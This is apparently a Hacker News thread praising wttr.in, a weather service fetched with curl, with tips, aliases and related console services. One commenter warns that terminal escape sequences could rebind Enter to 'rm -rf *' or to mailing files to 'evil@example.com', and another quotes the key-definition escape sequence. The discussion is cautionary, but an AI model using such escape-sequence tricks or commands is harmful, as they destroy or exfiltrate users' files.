
Curl Wttr.in - old-gregg
https://github.com/chubin/wttr.in
======
rsapkf
I use this all the time. I find this option pretty neat:

    
    
      curl wttr.in/Moon
    

Shows current lunar phase.

I use Termux[0] on my phone with curl installed. Pretty handy.

Also, check out rate.sx[1] from the same author:

    
    
      curl rate.sx
    

Shows information about current exchange rates of cryptocoins.

More similar console services: [https://github.com/chubin/awesome-console-
services](https://github.com/chubin/awesome-console-services)

[0]: [https://termux.com/](https://termux.com/)

[1]: [https://github.com/chubin/rate.sx](https://github.com/chubin/rate.sx)

~~~
matt_LLVW
shameless plug: [https://e.xec.sh](https://e.xec.sh)

~~~
irs
another shameless plug:

    
    
      curl ipaddress.sh

~~~
notRobot
also

    
    
        curl findip.win

------
ikornaselur
This is one of those services that I love when I find them, use extensively
for the next 30 minutes and forget about. But I keep coming back to it!

I even spent a time to make a simple function in my shell to cut off the
output after today and accept a location name

    
    
        w () {
            curl -s "wttr.in/$1?M1q" | head -17
        }
    

and then I can just do

    
    
        w london
    

to get the weather for London today.

But, like most of the functions/aliases I create, I can't remember the last
time I used it (except couple of times when I see someone talking about it and
I remember about it)

~~~
igor_chubin
Just add `F` to the options, and you don't need `| head -17` then

~~~
ikornaselur
Oh, awesome! I don't know if they added this after I created the function or
if I just didn't notice it.

EDIT: I just realised that "they" is actually you!

------
mintplant
A while back I made something along similar lines, though not quite as useful.

    
    
       curl https://poptart.spinda.net

~~~
peterburkimsher
When I type "cat" in the terminal, this is what I expect to see.

~~~
DarkWiiPlayer
alias cat='curl [https://poptart.spinda.net'](https://poptart.spinda.net')

------
jtokoph
This scared me the first time I tried it because the output was perfectly
sized to my terminal. I couldn't fathom how it was possible for the server to
know my terminal width.

It turns out my terminal was set at 125 characters wide and wttr.in outputs a
125 character width display.

~~~
Drdrdrq
Curious - wouldn't it be possible to output terminal escape characters to
perform some "magic" like moving at the end of the line? Or does curl protect
users by not outputting them? (I think not, because fetching a binary file by
mistake sometimes garbles the output)

~~~
igor_chubin
It is possible, but it brings nothing, because you don't only need to move to
the end of the line but print something in between, and for that the server
mush know the width of your terminal

------
teddyh
I will take this opportunity to offer some caution:

From what I understand, “curl example.com” is almost exactly as risky as “curl
example.com | bash”, since curl does not escape terminal command sequences,
and those can include key rebindings; e.g. your Enter key can be rebound to
“rm -rf ∗” or “sendfile ∗ evil@example.com”.

~~~
progval
> those can include key rebindings; e.g. your Enter key can be rebound to “rm
> -rf ∗” or “sendfile ∗ evil@example.com”.

oh my god. From
[http://www.termsys.demon.co.uk/vtansi.htm](http://www.termsys.demon.co.uk/vtansi.htm)
:

> Set Key Definition <ESC>[{key};"{string}"p

> Associates a string of text to a keyboard key. {key} indicates the key by
> its ASCII value in decimal.

But I can't reproduce it; in my terminal (gnome-terminal),
`print('\x1b[97;"echo foo"p')` just shows `cho foo"p`.

So it looks like not all terminals implement it, if any?

~~~
JoshTriplett
No modern terminal implements any of the dangerous escape sequences.

------
mbreese
I also like how you can add zipcodes or location names as a path and it
returns that. At least it works with zipcodes, cities, airport codes,
landmarks. Not sure what else.

Using this, I found out it was currently raining in Paris. And then saw that
the thunder was rendered as emojis.

I wonder what other options there are... for example, I'm in the US, so it
returns temperature in Fahrenheit even if I requested information about
France. Are there options to change this?

But, all in all, this is really nice and polished.

~~~
jamesponddotco
There are quite a few options, it is pretty cool. You can check them out by
hitting the :help endpoint[1].

I usually call it with a few of them to make the output cleaner, and without
colors[2].

curl --compressed
[https://wttr.in/"$location"?QTAF](https://wttr.in/"$location"?QTAF)

Where `$location` is either the location you want the weather for, or an IP
address.

[1] [https://wttr.in/:help](https://wttr.in/:help)

[2]
[https://git.sr.ht/~jamesponddotco/dotfiles/tree/master/.loca...](https://git.sr.ht/~jamesponddotco/dotfiles/tree/master/.local/bin/weather)

------
seanlaff
I’ve been curling this for years but was not aware of the new v2 api that
shows hourly ascii charts. Looks sweet!

------
jstarks
A good opportunity to remind everyone that we finally inboxed curl into
Windows 10, so this works (with color output) from a stock Windows command
prompt.

Better late than never, I hope.

~~~
fortran77
No need for that. You can do this:

    
    
         (Invoke-WebRequest -Uri wttr.in).content
    

from Powershell. Why not use the happy path?

~~~
sonofhans
Serious question -- not a flame war :)

I honestly can't tell if this is sarcastic or not. I've been typing `curl -O
http: ...` into command prompts for decades, and that Powershell incantation
looks awfully unwieldy.

In what way is it the happy path?

~~~
fortran77
Because it's the native Windows answer. There's no need to make Windows look
like Unix. It's great (really!) the way it was designed.

~~~
feteru
Any good resources for using Powershell? Is there ever a reason not to use
powershell? Coming from OSX it doesn't really make sense to me that there are
two terminals installed by default, and I end up just using WSL ubuntu. Also I
don't really know the commands so it feels crippled to me (no ssh (still?
idk), not many tools, etc)

~~~
majkinetor
> Is there ever a reason not to use powershell?

No, you should always use it.

Its maybe a problem when ultimate performance is in question, but you can go
long way with Powershell - I recently had a web service SOAP client
implemented in it that did millions of requests in an hour using threads in
less then 50 lines of code consuming less then 3% of server resources (running
entire country in single day actually)

> I end up just using WSL ubuntu

You can have basiclly anthing working without WSL (except maybe docker
correctly).

> Also I don't really know the commands so it feels crippled to me (no ssh
> (still? idk),

SSH is there. Learn commands along the way. You should def take a book like
this one: [https://www.manning.com/books/learn-windows-powershell-
in-a-...](https://www.manning.com/books/learn-windows-powershell-in-a-month-
of-lunches-second-edition)

> not many tools,

All usual tools, linux and windows, can be used. You have majority of them
hosted on chocolatey.

------
nergal
It's really nice but I started to use this a year ago and had to stop because
they always ran out of resources. Hopefully this is fixed since it's such a
nice and easy service!

------
KitDuncan
Has nobody mentioned, that this is just wego as a service?

~~~
szszrk
Their github page explains this early in project page, so no harm done, I
guess?

~~~
KitDuncan
Oops, don't know how I missed that. Sorry!

~~~
igor_chubin
To say truth, it is not just a wego as a service since many years, but is
started like that indeed

Now it has a lot of additional features:

* one-line output for status lines

* astronomical information

* translation to 70+ languages

* geolocation

* full fledged multilingual location search

* HTML frontend

* PNG frontend

* Slack support

* scalable architecture (it handles 10M+ queries daily for the moment of writing, with avg processing time under 30 msec)

It took one weak for the initial wego-as-a-service wrapper implementation, and
more than 4 years (and 99 contributors) for the rest.

But we of course honor wego, and mention it in the README, and on each HTML
page in browser

~~~
elcomet
Nice ! Did you contribute back your improvements to wego ?

~~~
igor_chubin
No, because they are not implemented as a part of wego; wego is used just for
visualization of one of the views (v1). The rest is implemented outside of it

------
tomjakubowski
Rendering a richer UI for curl users with terminal escapes is brilliant! Has
this been done elsewhere?

~~~
progval
[https://github.com/chubin/awesome-console-
services](https://github.com/chubin/awesome-console-services)

------
hn3333
Very cool, if i could suggest improvements it would be another view that shows
some sort of line graph of temperature and rain and sunshine hours. Also
thanks for the T option - useful if your terminal has a white background( like
Apple's default).

~~~
igor_chubin
curl v2.wttr.in

and for the white background:

curl wttr.in/?I

------
runxel
What I am most amazed of is how they manage to get my actual location always
right...

I mean, we all now those "geolocate me" things on websites, but I've never
encountered a _single_ page where it worked; it's always hilariously all over
the place (shows the headquarter of my provider, or just locates me in
Frankfurt at the DE-CIX).

But wttr.in is different. I wonder what the magic ingredient is and why no one
else seemingly has it.

~~~
nvarsj
It depends entirely on the geolocation database being used to map your IP
address to location. wttr.in seems to use
[https://www.ip2location.com/](https://www.ip2location.com/) so maybe they
have better mappings for your ISP. Bigger providers tend to use Akamai or
similar.

------
Awelton
I use this so much that if I start to curl something else I type wttr after it
from muscle memory and have to delete it.

------
lazyjones
Would be nice to have Sixel/iTerm output, but almost 40 years after most
computers could do split text/graphics modes, nobody uses these and we're
looking at ASCII graphics instead... Might want to look at using ℃ and Emoji
though for people with modern terminals.

------
SifJar
Looks like lightning breaks the formatting a little, at least for me.
Otherwise, very cool. Guessing lighting is a unicode char & not being counted
"correctly", which I believe is a challenging thing

~~~
igor_chubin
The problem is that it depends on the terminal, and you can render this
character properly for all 100% of the terminals on the server side

------
beilabs
Welcome to my alias list. This provides better weather information than local
news websites who have dedicated pages. That said, I'm in a developing country
where it's just monsoon all the damm time :D

~~~
I_complete_me
Been using it for years here in Ireland. I have the following: alias
wett='curl wttr.in/limerick'. :-)

~~~
igor_chubin
Try this:

curl ga.wttr.in/limerick

------
antpls
It would be cool to have a curl-able service directory of those services on
the web, and also a standard way to know the quota of refresh, and some
standard /help URL to know more about the options

~~~
igor_chubin
curl wttr.in/:help

and the curlable directory is almost there

As an interim solution, you can use this:

    
    
      curl https://raw.githubusercontent.com/chubin/awesome-console-services/master/README.md

------
justaj
One of the downsides is that if you have curl set to not use a user agent, it
(along with many such services) won't work.

So

    
    
      curl --user-agent "" wttr.in
    

just serves you unformatted HTML.

~~~
igor_chubin
Just use

    
    
        curl --user-agant "" wttr.in?A
    

for that.

The `A` option enforces ANSI output (curl wttr.in/:help for more)

~~~
justaj
Oh nice, thanks! I wish more services would do that.

(btw there's a typo, should be --user-agent)

------
DNied
Another cool command-line weather service:

finger city@graph.no

also includes forecasts (try city+24).

------
herjazz
Any other similar services for the terminal out there?

~~~
igor_chubin
curl cheat.sh

curl rate.sx

curl qrenco.de

and the rest from [https://github.com/chubin/awesome-console-
services](https://github.com/chubin/awesome-console-services)

------
Jaruzel
I love this on Linux, but it is also a good example of how awful the standard
Windows command prompt is at formatting :(

~~~
svnpenn
Works fine for me (Windows 10 1909 with Windows Terminal)

~~~
jevogel
That's because Windows Terminal is not the standard Windows console. :P

------
hirundo
It'd be nice to be able to point to be able to point this to my backyard
weather station, via wunderground or such.

------
vmurthy
Neat script! On a related note and something I use more frequently : curl
ifconfig.me

Easy way to find the public IP :)

~~~
oedmarap
Shameless plug: curl ipaddy.net

Returns public IP address, ISO country code, User-Agent string, and a new line
(to ensure the terminal prompt doesn't get shifted after displaying the
response).[0][1]

\- [0] [https://use.ipaddy.net](https://use.ipaddy.net) \- [1]
[https://github.com/oedmarap/ipaddy](https://github.com/oedmarap/ipaddy)

~~~
igor_chubin
I hoe it is listed at [https://github.com/chubin/awesome-console-
services](https://github.com/chubin/awesome-console-services)

------
noahmasur
Love this! Every day I find fewer reasons to ever leave my terminal.

------
fredfsh
Awesome! Resolves ambiguity pretty well.

------
vmception
okay, thats pretty cool. this art and utility shouldn't have fallen by the way
side

------
narven
perfect command for a bash alias

alias godstatus='curl wttr.in'

~~~
dredmorbius
Make it a shell function and you can parameterise invocation.

    
    
        weather () 
        { 
            curl http://wttr.in/${1:-LAX}
        }

